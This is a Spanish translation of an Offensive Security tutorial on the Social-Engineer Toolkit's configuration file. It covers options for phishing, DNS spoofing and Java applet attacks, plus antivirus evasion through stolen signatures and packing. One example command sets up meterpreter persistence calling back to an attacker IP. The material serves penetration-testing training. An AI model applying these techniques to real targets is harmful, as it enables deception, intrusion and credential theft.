Comenzando
De www.metasploit-es.com.ar
Comenzando con SET
Para entender SET lo principal es su archivo de configuracion. SET por defecto funciona perfectamente para la mayoria de gente, aunque se podrian necesitar personalizaciones avanzadas si se quiere asegurar que los vectores de ataque funcionan correctamente. Lo primero seria asegurarse de que SET ha sido actualizado, desde su directorio:
root@bt:/pentest/exploits/SET# svn update U src/payloadgen/payloadgen.py U src/java_applet/Java.java U src/java_applet/jar_file.py U src/web_clone/cloner.py U src/msf_attacks/create_payload.py U src/harvester/scraper.py U src/html/clientside/gen_payload.py U src/html/web_server.py U src/arp_cache/arp_cache.py U set U readme/CHANGES Updated to revision 319. root@bt:/pentest/exploits/SET#
Una vez que has actualizado a la ultima version, ya puedes comenzar a definir tu ataque editando el archivo de configuracion de SET. Demos un paseo a traves de cada una de las opciones:
root@bt:/pentest/exploits/set# nano config/set_config # DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/framework3 METASPLOIT_PATH=/pentest/exploits/framework3
Mirando las opciones de configuracion, vemos que podemos cambiar campos especificos para conseguir el resultado deseado. En la primera opcion, puedes cambiar la ruta hacia donde se encuentra Metasploit. Metasploit se utiliza para la creacion del payload, para fallos de formato de archivo, y para las secciones de explotacion de navegador de SET.
# SPECIFY WHAT INTERFACE YOU WANT ETTERCAP TO LISTEN ON, IF NOTHING WILL DEFAULT # EXAMPLE: ETTERCAP_INTERFACE=wlan0 ETTERCAP_INTERFACE=eth0 # # ETTERCAP HOME DIRECTORY (NEEDED FOR DNS_SPOOF) ETTERCAP_PATH=/usr/share/ettercap
La seccion Ettercap puede utilizarse cuando estas en la misma subred que las victimas, y quieres realizar ataques de envenenamiento DNS contra un subconjunto de direcciones IP. Cuando esta opcion esta en ON, envenenara la subred local entera y redireccionara un sitio especifico o todos los sitios a tu servidor malicioso.
# SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES SENDMAIL=OFF
Configurando la opcion SENDMAIL a ON intentara iniciar SENDMAIL, el cual puede falsear direcciones email de origen. Este ataque solamente funciona si el servidor SMTP de la victima no realiza operaciones de busqueda inversa sobre el nombre de host. SENDMAIL debe estar instalado, pero si estas utilizando BackTrack 4 o 5 ya esta instalado por defecto.
# SET TO ON IF YOU WANT TO USE EMAIL IN CONJUNCTION WITH WEB ATTACK WEBATTACK_EMAIL=OFF
Al configurar WEBATTACK_EMAIL en ON, te permitira enviar emails masivos a la victima al utilizar el vector de Ataque Web. Tradicionalmente, el aspecto del correo estaba disponible solamente a traves del menu spear-phishing aunque, cuando esta opcion esta activada añadira funcionalidad adicional para permitirte enviar email a las victimas con enlaces para ayudarte a mejorar tus ataques.
# CREATE SELF-SIGNED JAVA APPLETS AND SPOOF PUBLISHER NOTE THIS REQUIRES YOU TO # INSTALL ---> JAVA 6 JDK, BT OR UBUNTU USERS: apt-get install openjdk-6-jdk # IF THIS IS NOT INSTALLED IT WILL NOT WORK. CAN ALSO DO apt-get install sun-java6-jdk SELF_SIGNED_APPLET=OFF
El vector de Ataque Java Applet es uno de los ataques que SET incluye en su arsenal que probablemente tiene el mayor ratio de exito. Para hacer el ataque mas creible, puedes activar esta opcion, lo que te permitira firmar el Applet Java con el nombre que quieras. Digamos que estas apuntando a CompañiaX como objetivo, el Applet Java estandar esta firmado por Microsoft, pero puedes firmar el applet con CompañiaX para hacerlo parecer mas creible. Esto requerira la instalacion del jdk de java (en Ubuntu seria apt-get install sun-java6-jdk o openjdk-6-jdk).
# THIS FLAG WILL SET THE JAVA ID FLAG WITHIN THE JAVA APPLET TO SOMETHING DIFFE$ # THIS COULD BE TO MAKE IT LOOK MORE BELIEVABLE OR FOR BETTER OBFUSCATION JAVA_ID_PARAM=Secure Java Applet # # JAVA APPLET REPEATER OPTION WILL CONTINUE TO PROMPT THE USER WITH THE JAVA AP$ # THE USER HITS CANCEL. THIS MEANS IT WILL BE NON STOP UNTIL RUN IS EXECUTED. T$ # A BETTER SUCCESS RATE FOR THE JAVA APPLET ATTACK JAVA_REPEATER=ON
Cuando un usuario obtiene el aviso del applet java, vera 'Secure Java Applet' como el nombre del applet en lugar de la direccion IP. Esto añade credibilidad al applet java. La segunda opcion hara aparecer indefinidamente avisos del Applet Java al usuario si pulsa cancelar. Esto es util para cuando el usuario pulsa cancelar y el ataque pasaria a ser inutil, en vez de eso continuara mostrando avisos continuamente.
# AUTODETECTION OF IP ADDRESS INTERFACE UTILIZING GOOGLE, SET THIS ON IF YOU WANT # SET TO AUTODETECT YOUR INTERFACE AUTO_DETECT=ON
La opcion AUTO_DETECT es probablemente una de las cuestiones mas preguntadas en SET. En la mayoria de casos, SET cogera la interfaz que estas utilizando para conectarse a Internet y la utilizara como conexion y direccion IP inversa para las conexiones de vuelta. La mayoria de nosotros necesitamos personalizar el ataque y puede ser que no este en la red interna. Si colocas esta opcion en OFF, SET te preguntara cuestiones adicionales al configurar el ataque. Esta opcion se deberia utilizar cuando quieras utilizar multiples interficies, tengas una IP externa, o si estas en un escenario con NAT/Port forwarding.
# SPECIFY WHAT PORT TO RUN THE HTTP SERVER OFF OF THAT SERVES THE JAVA APPLET ATTACK # OR METASPLOIT EXPLOIT. DEFAULT IS PORT 80. WEB_PORT=80
Por defecto el servidor web de SET escucha en el puerto 80, pero si por alguna razon necesitas cambiar esto, puedes especificar un puerto alternativo.
# CUSTOM EXE YOU WANT TO USE FOR METASPLOIT ENCODING, THIS USUALLY HAS BETTER AV # DETECTION. CURRENTLY IT IS SET TO LEGIT.BINARY WHICH IS JUST CALC.EXE. AN EXAMPLE # YOU COULD USE WOULD BE PUTTY.EXE SO THIS FIELD WOULD BE /pathtoexe/putty.exe CUSTOM_EXE=src/exe/legit.binary
Al utilizar las opciones de codificacion del payload de SET, la mejor opcion para puentear Anti-Virus es la opcion del ejecutable con puerta trasera. Especificamente, un exe tiene una puerta trasera con un payload basado en Metasploit y generalmente puede evadir la mayoria de AV existentes. SET incluye un ejecutable incluido dentro de la puerta trasera del exe, aunque si por alguna razon quieres utilizar un ejecutable diferente, puedes especificar la ruta hacia ese exe con la opcion CUSTOM_EXE.
# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE SPEED OF # THE ATTACK VECTOR APACHE_SERVER=OFF # # PATH TO THE APACHE WEBROOT APACHE_DIRECTORY=/var/www
El servidor web utilizado en SET es un servidor web de codigo personalizado que en ocasiones puede resultar algo lento segun las necesidades. Si te encuentras con que necesitas aceleracion y quieres utilizar Apache, puedes conmutar esta opcion a ON y hara que Apache maneje las peticiones web y consigas mayor velocidad de ataque. Notese que este ataque solamente funciona con los ataques basados en Applet Java y Metasploit. Basado en la intercepcion de credenciales, Apache no se puede utilizar con los metodos de ataque secuestro web (web jacking), tabnabbing, o cosecha de credenciales.
# TURN ON SSL CERTIFICATES FOR SET SECURE COMMUNICATIONS THROUGH WEB_ATTACK VECTOR WEBATTACK_SSL=OFF # # PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK VECTOR (REQUIRED) # YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF_SIGNED_CERT # IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED! # SELF_SIGNED_CERT=OFF # # BELOW IS THE CLIENT/SERVER (PRIVATE) CERT, THIS MUST BE IN PEM FORMAT IN ORDER TO WORK # SIMPLY PLACE THE PATH YOU WANT FOR EXAMPLE /root/ssl_client/server.pem PEM_CLIENT=/root/newcert.pem PEM_SERVER=/root/newreq.pem
En algunos casos cuando estas realizando un ataque avanzado de ingenieria social, puedes querer registrar un dominio y comprar un certificado SSL que haga el ataque mas creible. Puedes incorporar ataques basados en SSL en SET. Necesitaras activar WEBATTACK_SSL a ON. Si quieres utilizar certificados auto-firmados puedes hacerlo, pero ten en cuenta de que la victima recibira un aviso de sitio no seguro al visitar tu sitio web.
TWEAK THE WEB JACKING TIME USED FOR THE IFRAME REPLACE, SOMETIMES IT CAN BE A LITTLE SLOW # AND HARDER TO CONVINCE THE VICTIM. 5000 = 5 seconds WEBJACKING_TIME=2000
El ataque webjacking se utiliza para substituir el navegador de la victima con otra ventana y hacerlo aparentar que es el sitio legitimo. Este ataque es muy dependiente del tiempo, asi que si lo estas haciendo a traves de Internet, recomendamos que el tiempo de retraso sea de 5000 (5 segundos), y si lo estas ejecutando internamente, 2000 (2 segundos) es probablemente un valor seguro.
# PORT FOR THE COMMAND CENTER COMMAND_CENTER_PORT=44444 # # COMMAND CENTER INTERFACE TO BIND TO BY DEFAULT IT IS LOCALHOST ONLY. IF YOU WANT TO ENABLE IT # SO YOU CAN HIT THE COMMAND CENTER REMOTELY PUT THE INTERFACE TO 0.0.0.0 TO BIND TO ALL INTERFACES. COMMAND_CENTER_INTERFACE=127.0.0.1 # # HOW MANY TIMES SET SHOULD ENCODE A PAYLOAD IF YOU ARE USING STANDARD METASPLO$ ENCOUNT=4
El centro de comandos es la interfaz web grafica del Social-Engineer Toolkit. Si quieres utilzarlo en un puerto diferente, cambia este numero. La siguiente opcion especificara en que interfaz escuchara la interfaz web de SET. Si se configura como 127.0.0.1, significara que nadie del exterior de la red puede llegar a la interfaz web. Si lo defines como 0.0.0.0, se enlazara a todas las interficies y podra accederse remotamente. Ten cuidado con esta opcion. La opcion 'encount' determina cuantas veces un payload sera codificado con payloads Metasploit en SET. Por defecto es 4, pero si requieres mas o menos, puedes ajustar esto acorde a tus necesidades.
# IF THIS OPTION IS SET, THE METASPLOIT PAYLOADS WILL AUTOMATICALLY MIGRATE TO # NOTEPAD ONCE THE APPLET IS EXECUTED. THIS IS BENEFICIAL IF THE VICTIM CLOSES # THE BROWSER HOWEVER CAN INTRODUCE BUGGY RESULTS WHEN AUTO MIGRATING. AUTO_MIGRATE=OFF
La caracteristica AUTO_MIGRATE migrara automaticamente a notepad.exe cuando una shell de meterpreter se ejecute. Es especialmente util al utilizar exploits de navegador ya que terminara la sesion si el navegador se cierra mientras se utiliza un exploit.
# DIGITAL SIGNATURE STEALING METHOD MUST HAVE THE PEFILE PYTHON MODULES LOADED # FROM http://code.google.com/p/pefile/. BE SURE TO INSTALL THIS BEFORE TURNING # THIS FLAG ON!!! THIS FLAG GIVES MUCH BETTER AV DETECTION DIGITAL_SIGNATURE_STEAL=ON
El metodo de robo de una firma digital requiere el modulo python llamado PEFILE, el cual utiliza una tecnica utilizada en Disitool por Didier Stevens que consiste en tomar el certificado digital firmado por Microsoft e importarlo dentro de un ejecutable malicioso. Muchas veces esto proporcionara mejor deteccion anti-virus.
# THESE TWO OPTIONS WILL TURN THE UPX PACKER TO ON AND AUTOMATICALLY ATTEMPT # TO PACK THE EXECUTABLE WHICH MAY EVADE ANTI-VIRUS A LITTLE BETTER. UPX_ENCODE=ON UPX_PATH=/pentest/database/sqlmap/lib/contrib/upx/linux/upx
Adicionalmente al robo de firma digital, puedes añadir empaquetado utilizando UPX. Se instala por defecto en Back|Track linux, si esta opcion esta en ON y no lo encuentra, continuara pero deshabilitando el empaquetado UPX.
# HERE WE CAN RUN MULTIPLE METERPRETER SCRIPTS ONCE A SESSION IS ACTIVE. THIS # MAY BE IMPORTANT IF WE ARE SLEEPING AND NEED TO RUN PERSISTENCE, TRY TO ELEVATE # PERMISSIONS AND OTHER TASKS IN AN AUTOMATED FASHION. FIRST TURN THIS TRIGGER ON # THEN CONFIGURE THE FLAGS. NOTE THAT YOU NEED TO SEPERATE THE COMMANDS BY A ; METERPRETER_MULTI_SCRIPT=OFF # # WHAT COMMANDS DO YOU WANT TO RUN ONCE A METERPRETER SESSION HAS BEEN ESTABLISHED. # BE SURE IF YOU WANT MULTIPLE COMMANDS TO SEPERATE WITH A ;. FOR EXAMPLE YOU COULD DO # run getsystem;run hashdump;run persistence TO RUN THREE DIFFERENT COMMANDS METERPRETER_MULTI_COMMANDS=run persistence -r 192.168.1.5 -p 21 -i 300 -X -A;getsystem
Las siguientes opciones pueden configurar que tipos de comandos ejecutar automaticamente, una vez que se ha establecido una sesion de meterpreter. Esto seria util si estas obteniendo multiples shells y quieres ejecutar comandos especificos para extraer informacion sobre el sistema.
# THIS FEATURE WILL AUTO EMBED A IMG SRC TAG TO A UNC PATH OF YOUR ATTACK MACHINE. # USEFUL IF YOU WANT TO INTERCEPT THE HALF LM KEYS WITH RAINBOWTABLES. WHAT WILL HAPPEN # IS AS SOON AS THE VICTIM CLICKS THE WEB-PAGE LINK, A UNC PATH WILL BE INITIATED # AND THE METASPLOIT CAPTURE/SMB MODULE WILL INTERCEPT THE HASH VALUES. UNC_EMBED=OFF #
Esto automaticamente embebera una ruta UNC en la aplicacion web cuando la victima se conecte a tu sitio, e intentara conectar al servidor por medio de un fichero compartido. Cuando eso ocurre se activa una respuesta, y las respuestas/desafios pueden capturarse y utilizarse para el ataque.
© Offensive Security 2009
Original de www.offensive-security.com Traducido por cbk999